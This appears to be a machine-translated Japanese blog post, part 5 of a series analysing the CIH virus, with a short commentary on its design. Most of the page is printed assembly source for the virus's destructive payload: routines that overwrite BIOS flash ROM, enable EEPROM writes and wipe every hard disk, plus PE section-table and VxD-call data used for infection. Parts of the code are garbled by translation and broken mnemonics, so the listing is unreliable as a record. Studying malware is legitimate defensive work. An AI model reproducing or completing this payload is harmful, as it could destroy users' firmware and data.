ホームページ  >  記事  >  バックエンド開発  >  ウイルスプログラムのソースコード例の解析 - CIH ウイルス[5]

ウイルスプログラムのソースコード例の解析 - CIH ウイルス[5]

黄舟
黄舟オリジナル
2017-01-17 11:21:471832ブラウズ

ウイルスプログラムのソースコード例の分析 - CIHウイルス[5]

push ecx
loop $

; BIOS 内の追加の 000E0000 ~ 000E007F セグメント ROM データ、合計 80h バイトを破棄します
xor ah, ah
mov [eax], al

xchg ecx, eax
ループ$

; BIOS の 000E0000 ~ 000FFFFF セグメント データを表示およびアクティブ化します。このセグメントには、合計 128 KB の情報を書き込むことができます。 mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; BIOSの000FE000~000FE07Fセグメントデータ、合計80hバイトを破棄
mov ah, 0e0h
mov [eax], al

; BIOSの000F0000~000FFFFFセグメントを隠す、合計64 KB
mov word ptr (BooleanCalculateCode-@ 10)[esi], 100ch
call esi

; すべてのハードドライブを破壊する
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp、2ch
push 0c0001000h
mov bh, 08h
push ebx
push Push ecx
;破壊のためのループ
LoopOfKillHardDisk:
int 20h
dd 00100004h

cmp word ptr [esi +06h], 0017h
jmp LoopOfKillHardDisk
KillNextDataSection:
add dword ptr [ esi+ 10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

;EEPROM への情報の書き込みを有効にする
EnableEEPROMToWrite:
mov [eax], cl
m ov [ ecx]、al
mov byte ptr [ eax], 80h
mov [eax], cl
mov [ecx], al

ret

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
edx, ebp
d x, eax

xchg eax , edi


xchg eax, edi
xchg edx, ebp
out dx, al

ret

;静的データ定義
LastVxdCallAddress = IFSMgr_Ring0_FileIO;最後に呼び出されたVxd命令アドレス
VxdCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath; 各Vxd呼び出し命令アドレス差分

VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ; d コール番号
VxdCallTableSize = ($-VxdCallIDTable)/04h ; プログラム内で使用される Vxd コールの数
;
;ウイルスのバージョンと著作権情報の定義
VirusVersionCopyright db ' CIH v' ; CIH ウイルスの識別
db MajorVirusVersion+'0' ; db MajorVirusVersion+'0' ; ; 作者名

; ウイルスサイズ
VirusSize = $ + SizeOfVirusCodeSectionTableEndMark(04h)
+ NumberOfSections*SizeOfVirusCodeSectionTable(04h)

;動的データ定義
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress ;ウイルスデータの開始address

OnBusy db 0 ;「ビジー」フラグ
FileModificationTime dd ? ;ファイル変更時刻

FileNameBuffer db FileNameBufferSize dup(?) ;7fh 長いファイル名バッファ
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections d w ?; ブロック数
TimeDateStamp dd ?; シンボルテーブル内のシンボル数
SIZEOFOPTIONALHEADER DW?; コネクタのバージョン番号
SizeOfCode dd ? ; コードセグメントサイズ
SizeOfInitializedData dd ? ; 初期化データブロックサイズ
ImageBase dd ? ; ロードベースアドレス

@9 = $
SectionAlignment dd ?メントディ? dd ? ; ユーザー定義のバージョン番号
SubsystemVersion dd ? ; 予約済み
SizeOfHeaders dd ? NewAddressOfEntryPoint = DataBuffer
SizeOfImageHeaderToWrite ?

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; ブロック名
VirtualSize = StartOfSectionTable+08h ; セクションの実長
VirtualAddress = StartOfSectionTable+0ch ; ブロックのRVA
SizeOfRawData = StartOfSectionTable+10h ; ブロックの物理長
PointerToRaw;データ = StartOfSectionTable+14h ;物理オフセット
PointerToRelocations = StartOfSectionTable+18h ; 再配置オフセット
PointerToLineNumbers = StartOfSectionTable+20h ; 再配置項目数
NumberOfSectionTable +22h ;
特性 = StartOfSectionTable +24h; ブロック属性
SizeOfScetionTable = Characteristics+04h-SectionName; 各ブロックテーブル項目の長さ

; ウイルスが必要とするメモリ量
VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; fセクション(? ?)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; SectionTable(04h)

;ウイルスプログラム END
VirusGame ENDS
END FileHeader
上記のコード分析プロセスから、CIH ウイルスには明確な構造と明確な層。このウイルス プログラムのバックボーン構造は DOS ウイルスと非常に似ていますが、ウイルスの詳細が win95 メソッドに従って処理され、すべてのシステム コールが Vxd を使用して行われる点が異なります。これにより、Windows で API 関数を使用する場合と比較して、ウイルス プログラムがより低レベルで効率的になり、プログラミングが容易になります。また、割り込みを使用する場合と比較して、ウイルス自体の複雑な再配置プロセスを考慮する必要がなく、より効果的にウイルスを防ぐことができます。プログラムの追跡を分析します。

CIHウイルスには2つの工夫があり、1つはウイルス感染時に感染ファイルのブロック間の空白領域を探し、そこにウイルス自身のさまざまなデータ構造やコードを書き込むことです(空白領域が十分でない場合)。これは、一部のファイルが感染しない理由の 1 つです)。次に、ウイルスが攻撃すると、フラッシュ メモリが焼き付けられるだけでなく、コンピュータのハードウェアに損傷を与える可能性があります。 、ハードディスクも破壊します。

セキュリティ上の理由から、ウイルス攻撃を引き起こし、ハードウェアに損害を与えるコード部分の詳細な分析は行っていません。




上記は、ウイルス プログラムのソース コード例分析 - CIH ウイルス [5] の内容です。その他の関連コンテンツについては、PHP 中国語 Web サイト (www.php.cn) に注目してください。



声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。